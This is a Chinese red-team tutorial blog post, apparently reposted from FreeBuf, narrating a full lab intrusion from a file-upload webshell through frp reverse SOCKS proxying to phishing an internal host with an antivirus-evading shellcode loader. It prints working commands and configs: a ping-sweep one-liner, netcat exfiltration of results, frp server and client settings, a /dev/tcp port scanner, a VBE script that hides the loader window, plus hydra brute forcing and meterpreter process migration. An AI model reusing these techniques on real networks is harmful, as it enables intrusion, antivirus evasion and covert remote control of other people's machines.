红队基操系列:流量代理、免杀钓鱼

admin 2021年1月31日10:00:50评论133 views字数 3594阅读11分58秒阅读模式

本次渗透测试初衷是自建靶场,研究下内网流量代理及免杀马钓鱼,初步测试完后索性多做几步,形成一个较为完整的全流程渗透过程。

郑重申明:本文分享的所有信息技术仅用于学习教育之目的,所有攻击目标均为笔者自行搭建,如文中技术被应用于任何其他目标,本人概不负责。如需转载,请注明出处!

模拟环境

红队基操系列:流量代理、免杀钓鱼

C2攻击机-kali:eth0 192.168.66.128

企业公网入口-web服务器win10:eth0 192.168.66.132/eth1 192.168.67.132

企业内网-内网主机win10:eth1 192.168.67.133

最终目标

拿下web服务器权限,通过web服务器流量转发及免杀马内网钓鱼,实现C2客户端对内网主机的远控。

渗透过程

webshell获取

web服务存在上传漏洞(毕竟是文件上传靶场 ),php马上传获取webshell

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

内网流量转发

web服务器存在两张网卡eth0 eth1,推测存在内部网络,网段192.168.67.0/24

红队基操系列:流量代理、免杀钓鱼

cmd ping全网段

@for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.67.%i & if errorlevel 1 (echo 192.168.67.%i>>na.txt) else (echo 192.168.67.%i>>act.txt)

继续利用上传漏洞,上传netcat(假使它不会被杀掉 ),使用nc传回act.txt(考虑免杀,也可以利用weevely自带的download模块下载文件到本地)

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

内网段存活主机192.168.67.133

frp 端口转发-c2攻击机要连通内网机,需web服务器做代理转发,使用frp做反向代理

红队基操系列:流量代理、免杀钓鱼

nc传frp_win_amd64至跳板机,c2攻击机使用frp_linux_amd64与之通信

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

上传unzip.exe,cmd解压文件夹

红队基操系列:流量代理、免杀钓鱼

frp client(跳板机)&server(攻击机)配置如下:

server端开启本地7000端口监听,连接密钥设置为pick;client设置远程连接目标IP及端口,设置密钥(与server相同),设置连接端口协议为tcp,本地端口3334,连接目标端口3335,设置socks5代理,使得不同协议流量可以使用绑定端口通信。

#服务端##设置连接端口及连接密钥root@kali:~/frp_0.34.3_linux_amd64# cat frps.ini [common]bind_port = 7000token=pick
#客户端(建议本地修改完上传)##设置连接目标(攻击机)ip:port及连接密码##设置端口协议C:\xxx\upload\frp_0.34.3_windows_amd64>type frpc.initype frpc.ini[common]server_addr = 192.168.66.128server_port = 7000token=pick
[haha]type = tcplocal_ip = 127.0.0.1local_port = 3334remote_port = 3335plugin=socks5

启动frpc&s

#服务端./frps -c frps.ini #客户端.\frpc.exe -c frpc.ini

本地使用proxychains作流量代理,配置如下

红队基操系列:流量代理、免杀钓鱼

bingo,telnet成功连接到内网主机开启端口,流量代理成功

红队基操系列:流量代理、免杀钓鱼

走代理的端口扫描

使用nmap走代理扫描

红队基操系列:流量代理、免杀钓鱼

显示主机ping不通,因为socks没法代理icmp流量

红队基操系列:流量代理、免杀钓鱼

加-Pn,不检测主机存活,结果如下

红队基操系列:流量代理、免杀钓鱼

扫描结果与主机实际端口开启情况不符,-Pn扫描任意不存在主机都是这个结果,如下图通过本地代理连接到扫出来的open port均超时。

红队基操系列:流量代理、免杀钓鱼

那么正确的扫描姿势是什么呢?前面已经尝试过了,使用telnet是可以正常连接21端口的,换而言之,tcp三次握手是可以走代理完成的,那么指定nmap使用tcp全连接模式试试,加-sT参数

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

bingo,成功扫描到内网主机端口信息!(记得stderr丢到位桶,不然会输出接近1000行的连接timeout )

其实如果nmap用不好(说的就是你,渗透大师 ),65535次tcp连接测试也不失为一种解决方法,下面是来自热心网友的demo(原谅我,没找到原文链接 )。原理是利用了bash的网络请求接口/dev/tcpecho > /dev/tcp/IP/PORT会向IP:PORT发起连接。

#!/bin/bash
PORT_LIST="445 443 135 6000 6001 6002 6003 21 6004 6005 6006 6007 6008 6009 6010"REMOTE_HOST=192.168.67.133TIMEOUT_SEC=5
for PORT in $PORT_LISTdo timeout $TIMEOUT_SEC bash -c "</dev/tcp/$REMOTE_HOST/$PORT" &>/dev/null; res=$? if [[ $res -eq 0 ]] then echo "$PORT OPEN" elif [[ $res -eq 1 ]] then echo "$PORT OPEN BUT NOT LISTEN" elif [[ $res -eq 124 ]] then echo "$PORT NOT OPEN" else echo "$PORT UNKONWN ERROR" fidone

nmap探测发现内网主机开启ftp服务,hydra爆破

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼登陆成功,但执行命令报错

红队基操系列:流量代理、免杀钓鱼

浏览器访问ftp服务器可以正常上传下载

红队基操系列:流量代理、免杀钓鱼

上传木马,钓鱼内网主机

分离免杀马

钓鱼的恶意程序得做下免杀了,不然评论区要说我水文章了。

学习过tide团队bypassAntiVirus系列文章,非常系统地介绍了公开的免杀方法原理和免杀工具使用;笔者尝试了文章中大多数免杀工具,遗憾的是均已被加入各大杀软特征库 。所以自己动手,才能丰衣足食。

这次手敲一个基础的分离免杀demo,原理是把shellcode放到txt等非PE文件里,加载器从txt中读取shellcode执行。

首先是shellcode,msfvenom直接生成即可,encoder/badchar都不用考虑,非PE文件天生免杀;要注意攻击机连通内网机是需要跳板转发的,本次试验使用meterpreter_bind_shell,msf走proxychains代理即可。

红队基操系列:流量代理、免杀钓鱼

然后先说shellcode的执行吧,最简单的方法是使用内联汇编实现,jmp到代码区头即可;此外还可以使用VirtualAlloc分配内存区后,将shellcode拷贝(memcpy)至内存区,定义函数指针指向内存区,执行函数即可执行shllcode;

最后关于读机器码进数组,稍微费事些。首先应使用char数组,每个成员一字节大小,正好存下一个十六进制机器码,单个数组成员太长还需考虑大小端序问题;再使用fread读一字节机器码进内存,循环拷贝给数组即可;强烈建议利用动调完成整个shellcode的加载与执行,可以免去很多弯路。

(源码或编译好的exe,后面会同步到github上,这里暂不放出)

下面是生成好的加载器loader.exe,免杀火绒/360

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

本地运行loader.exe,会加载同目录下的1.bin执行;不过运行期间会有dos窗口,可以再写个vbe脚本调用,隐藏dos

set WshShell = WScript.CreateObject("WScript.Shell")WshShell.Run "loader.exe /start",0

内网主机上线

ftp上传loader.exe+1.bin+clickme.vbe(实际钓鱼的时候建议起个好名字 )

红队基操系列:流量代理、免杀钓鱼

本地使用代理启msf

红队基操系列:流量代理、免杀钓鱼

设置如下

红队基操系列:流量代理、免杀钓鱼

本地启连接,静待内网机上线

红队基操系列:流量代理、免杀钓鱼

鱼儿上钩

红队基操系列:流量代理、免杀钓鱼

至此,就已经完成了本次试验的全部目标,成功上线内网主机,然后后渗透环节…要干的事就更多了,,比如咱们马的进程loader.exe随时有被kill的可能,利用meterpreter模块migrate可以很方便的完成进程迁移

查看内网机当前进程,loader.exe pid是6032,迁移到2324 onedirve.exe吧

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

再看进程已经没有loader.exe了,但咱们的shell依旧稳定连接,实现了一定程度上的rootkit。

总结

本次自搭靶场,重点试验了流量转发、分离免杀、内网钓鱼等渗透技术,成功实现了一次整体上较为接近实际场景的渗透测试;当然也留下了很多值得琢磨的地方,比如netcat过不了杀软、如何实现此类常用hack工具的模改免杀,比如nmap走代理扫描时,-sS/-sA/-sF均失效,只有全连接生效,原因是什么,比如如何利用pdf/word实现更有效的钓鱼攻击…待笔者进一步研究后再与诸君分享。

对于内网渗透,笔者亦属于新手,日常渗透工作更偏重于外围打点;文中如有任何不当之处,还望各位不吝斧正。

红队基操系列:流量代理、免杀钓鱼

精彩推荐





红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

红队基操系列:流量代理、免杀钓鱼

本文始发于微信公众号(FreeBuf):红队基操系列:流量代理、免杀钓鱼

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年1月31日10:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队基操系列:流量代理、免杀钓鱼http://cn-sec.com/archives/258585.html

发表评论

匿名网友 填写信息